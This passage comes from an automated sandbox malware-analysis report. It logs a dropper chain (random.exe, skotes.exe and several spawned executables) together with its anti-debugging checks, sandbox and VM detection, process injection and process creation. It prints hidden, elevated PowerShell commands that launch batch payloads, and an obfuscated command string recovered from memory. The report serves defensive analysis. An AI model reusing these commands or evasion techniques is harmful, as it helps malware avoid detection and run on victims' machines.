0000003C.00000003.2636527012.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2771240838.00000000014B6000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: cmd.exe, 00000015.00000003.2467936803.0000020914D72000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: !vHXErGRvjMKBaWEWvIGhdmAiycbZYBGyRUeYAXyuoASfxvbCEoYWdogjhOgoFRxIf! "K%FSnYWPHTXILSYQzYDBtovtPBWSLoEztFQqenlTkghOCO%g%rTjfsmqxWWQmdLcddtpxpfbILlMJrngGRbjcJGVsiVJU%y%zSkzRgcOzezlSAtgzGgIQjvbCatxxWotwhjTbnSklrhM%S%BXjjmOTBPaepwiXQMErCPfOLqAflOVxycIzFRkkIdNDw%g%dUwSqcyGaEXwiySMJHNUCFmOIsZBuIzcBsHwdmVLxRyy%V%KdwssyZwZJUxHIkYdWmrfVUQQvIwLcxLhOdEVGiVJccS%P%yjPvcXHAEgtPjFBXPCKXmiqTEFcwNqHcSbsGFnuOuWga%I%unvpflfhsfGpTVRwUlMozqXhnUrChVCpbqyqkMrClAKM%z%vcNKvYUjjSBeqnckTCZwCqnDxAmhTkcYGkMlhHhjbtfj%x%PuaWKhJIAnjeOkmVMMpZPCxfAQdlvQvjleNcApwMBuxt%d%aIwWulxodgtmWUwUexmKSaTKwjuwpDyueeeSugQjtgfe%M%KAgFTCIdiNBaPMAkRaYzHYiSPDAXGcqLUOZVdODNVvmq%i%DecHGFsthGwLsnQpcKwgwPfbMEhcwlEmMRpKBSraJXEo%V%roDQYoKkYgUNZbVbyqWVbkZBYfOktvwylQJybqdiAtoG%R%XBLzWpCtbInhocRTAARCJvCirxaimOuHVsDwtoneTdxD%k%DCjYzjIaCLWBZDizotgmnFlVyuAlmNJGXZEOnbIcgufj%U%wcxQgOPzWlpYqnAeJwOOcqDaYtlmLdgTzbzvXJfxXjJM%Y%JFxaBEsJFrhfyxRMCDOTewzpNegZqqQTGRqtVlLgKwnh%p%UtXASsUuuQHngimwytsoAozHgxQrRIiIiruuhGhYvwyQ%l%jdnNZpHrdZHGUquuBDCMIZeOORoSluSdPIxckdrCaQEj%=o%OzRlMwSTMijYyYhaPgIgDQmSrkymZLRvVeaswGzYajdAodLekClKV%"
Source: random.exe, 00000000.00000002.1772118120.00000000009AC000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1801298671.0000000000E6C000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1804701979.0000000000E6C000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2980787324.0000000000E6C000.00000040.00000001.01000000.00000007.sdmp, KbSwZup.exe, 0000003C.00000002.2775897232.00000000009F9000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: wYfLzVg.exe, 0000002D.00000002.2719866469.00000140B4652000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\@
Source: j6TfMeT.exe, 00000014.00000002.2455460036.000001BA7709C000.00000004.00000020.00020000.00000000.sdmp, j6TfMeT.exe, 00000014.00000003.2454224868.000001BA77099000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: wYfLzVg.exe, 0000002D.00000002.2719866469.00000140B460F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWCX0S
Source: C:\Users\user\Desktop\random.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\random.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\random.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\random.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\random.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\random.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_054801E3 rdtsc 0_2_054801E3
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 19_2_001331A0 LdrInitializeThunk, 19_2_001331A0
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FF62A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 45_2_00007FF787FF62A4
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00CB652B mov eax, dword ptr fs:[00000030h] 6_2_00CB652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00CBA302 mov eax, dword ptr fs:[00000030h] 6_2_00CBA302
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Code function: 20_2_00007FF6E4B8DD50 GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,WakeByAddressSingle, 20_2_00007FF6E4B8DD50
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FEC9DC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 45_2_00007FF787FEC9DC
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FF62A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 45_2_00007FF787FF62A4
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FECD90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 45_2_00007FF787FECD90
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FECF34 SetUnhandledExceptionFilter, 45_2_00007FF787FECF34
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion
barindex
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Memory written: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe base: 400000 value starts with: 4D5A
Contains functionality to launch a program with higher privileges
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FE1F30 GetModuleFileNameA,ShellExecuteExA,GetLastError, 45_2_00007FF787FE1F30
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\random.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe "C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe "C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe "C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe "C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe "C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe "C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Loli.bat' -ArgumentList 'SONHQYkRMfwzXXluF' -WindowStyle Hidden" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\IXP000.TMP\Loli.bat" SONHQYkRMfwzXXluF " Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Process created: C:\ProgramData\IaobsEngine\IaobsEngine.exe "C:\ProgramData\IaobsEngine\IaobsEngine.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Lol.bat' -ArgumentList 'CecYOJVReWhIq' -WindowStyle Hidden -Verb RunAs"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\IXP000.TMP\Lol.bat" CecYOJVReWhIq
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process created: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe "C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe"
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FE39A0 GetConsoleWindow,ShowWindow,AllocateAndInitializeSid,CheckTokenMembership,FreeSid,_Thrd_detach,_Thrd_detach,_Thrd_detach,_Thrd_detach,std::_Throw_Cpp_error,std::_Throw_Cpp_error,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error, 45_2_00007FF787FE39A0
Source: KbSwZup.exe, 0000003C.00000002.2775897232.00000000009F9000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: cUKuProgram Manager
Source: KbSwZup.exe, 0000003C.00000002.2775897232.00000000009F9000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: ocUKuProgram Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.2980787324.0000000000E6C000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: cProgram Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C9D3E2 cpuid 6_2_00C9D3E2
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 45_2_00007FF788008130
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: GetLocaleInfoW, 45_2_00007FF787FFD978
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: GetLocaleInfoW, 45_2_00007FF788008378
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW, 45_2_00007FF788007C6C
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: EnumSystemLocalesW, 45_2_00007FF787FFD4A0
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 45_2_00007FF7880084D0
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: GetLocaleInfoW, 45_2_00007FF788008580
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 45_2_00007FF7880086B4
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: EnumSystemLocalesW, 45_2_00007FF788007FC8
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: EnumSystemLocalesW, 45_2_00007FF788008098
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076858001\TaVOM7x.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076858001\TaVOM7x.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076878001\OvLh8V8.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076878001\OvLh8V8.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076894001\YzbWjqR.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076894001\YzbWjqR.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1077101101\6e88b14e1e.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1077101101\6e88b14e1e.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1077102021\am_no.cmd VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1077102021\am_no.cmd VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1077148001\r7MRNUY.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1077148001\r7MRNUY.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
